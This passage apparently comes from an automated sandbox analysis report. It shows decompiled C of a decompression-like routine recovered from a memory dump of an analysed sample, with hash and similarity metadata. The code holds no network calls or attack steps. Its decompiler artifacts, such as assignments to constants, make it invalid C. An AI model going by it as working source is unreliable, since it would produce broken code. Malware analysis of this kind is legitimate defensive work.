													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L81:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t535 = _t534 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 204a14aa4723f8bacec733d7555320540fe203445ac57d520a52ca53e11fdb0c
Instruction ID: aa40489b15165fca9e2d73c9723ecf3d5b4a768092768a0400057c9dc9ec6b69
Opcode Fuzzy Hash: 204a14aa4723f8bacec733d7555320540fe203445ac57d520a52ca53e11fdb0c
Instruction Fuzzy Hash: F6714471D04229CFDF28CF98C844BAEBBB1FB44305F25816AD816BB281D7785A86DF54

Uniqueness

Uniqueness Score: -1.00%

Function 004062B1, Relevance: 5.2, APIs: 4, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E004062B1() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xa;
						_t606 =  *(_t613 - 4) + 0x1b0 +  *(_t613 - 0x38) * 2;
					} else {
						 *(__ebp - 0x84) = 9;
						 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
					}
					while(1) {
						 *(_t613 - 0x54) = _t606;
						while(1) {
							L133:
							_t531 =  *_t606;
							_t589 = _t531 & 0x0000ffff;
							_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
							if( *(_t613 - 0xc) >= _t565) {
								 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
								 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
								 *(_t613 - 0x40) = 1;
								_t532 = _t531 - (_t531 >> 5);
								 *_t606 = _t532;
							} else {
								 *(_t613 - 0x10) = _t565;
								 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
								 *_t606 = (0x800 - _t589 >> 5) + _t531;
							}
							if( *(_t613 - 0x10) >= 0x1000000) {
								goto L139;
							}
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								L170:
								_t568 = 0x22;
								memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
								_t535 = 0;
								L172:
								return _t535;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L139:
							_t533 =  *(_t613 - 0x84);
							while(1) {
								 *(_t613 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t613 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M0040684B))) {
										case 0:
											if( *(_t613 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t534 =  *( *(_t613 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t570);
											_push(9);
											_pop(_t571);
											_t609 = _t538 / _t570;
											_t540 = _t538 % _t570 & 0x000000ff;
											asm("cdq");
											_t604 = _t540 % _t571 & 0x000000ff;
											 *(_t613 - 0x3c) = _t604;
											 *(_t613 - 0x1c) = (1 << _t609) - 1;
											 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
											_t612 = (0x300 << _t604 + _t609) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
												L10:
												if(_t612 == 0) {
													L12:
													 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t612 = _t612 - 1;
													 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
												} while (_t612 != 0);
												goto L12;
											}
											if( *(_t613 - 4) != 0) {
												GlobalFree( *(_t613 - 4)); // executed
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t613 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 1;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t45 = _t613 - 0x48;
											 *_t45 =  *(_t613 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t613 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t613 - 0x40);
											if(_t546 ==  *(_t613 - 0x74)) {
												L20:
												 *(_t613 - 0x48) = 5;
												 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t613 - 0x74) = _t546;
											if( *(_t613 - 8) != 0) {
												GlobalFree( *(_t613 - 8)); // executed
											}
											_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
											 *(_t613 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
											 *(_t613 - 0x84) = 6;
											 *(_t613 - 0x4c) = _t553;
											_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
											 *(_t613 - 0x54) = _t606;
											goto L133;
										case 3:
											L21:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 3;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											_t67 = _t613 - 0x70;
											 *_t67 =  &(( *(_t613 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
											L23:
											 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
											if( *(_t613 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t606;
											_t589 = _t531 & 0x0000ffff;
											_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
											if( *(_t613 - 0xc) >= _t565) {
												 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
												 *(_t613 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												 *_t606 = _t532;
											} else {
												 *(_t613 - 0x10) = _t565;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
												 *_t606 = (0x800 - _t589 >> 5) + _t531;
											}
											if( *(_t613 - 0x10) >= 0x1000000) {
												goto L139;
											}
										case 5:
											goto L137;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 8:
											goto L0;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L89;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t258 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t258;
											0 | _t258 = _t258 + _t258 + 9;
											 *(__ebp - 0x38) = _t258 + _t258 + 9;
											goto L75;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x28);
											goto L88;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L88:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L89:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 0x12:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *(__ebp - 0x7c) = 0x14;
												goto L145;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											 *(_t613 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											L145:
											__eax =  *(__ebp - 0x40);
											 *(__ebp - 0x50) = 1;
											 *(__ebp - 0x48) =  *(__ebp - 0x40);
											goto L149;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											L149:
											__eflags =  *(__ebp - 0x48);
											if( *(__ebp - 0x48) <= 0) {
												__ecx =  *(__ebp - 0x40);
												__ebx =  *(__ebp - 0x50);
												0 = 1;
												__eax = 1 << __cl;
												__ebx =  *(__ebp - 0x50) - (1 << __cl);
												__eax =  *(__ebp - 0x7c);
												 *(__ebp - 0x44) = __ebx;
												while(1) {
													 *(_t613 - 0x88) = _t533;
													goto L1;
												}
											}
											__eax =  *(__ebp - 0x50);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
											__eax =  *(__ebp - 0x58);
											__esi = __edx + __eax;
											 *(__ebp - 0x54) = __esi;
											__ax =  *__esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												__cx = __ax >> 5;
												__eax = __eax - __ecx;
												__edx = __edx + 1;
												__eflags = __edx;
												 *__esi = __ax;
												 *(__ebp - 0x50) = __edx;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L148;
											} else {
												goto L146;
											}
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
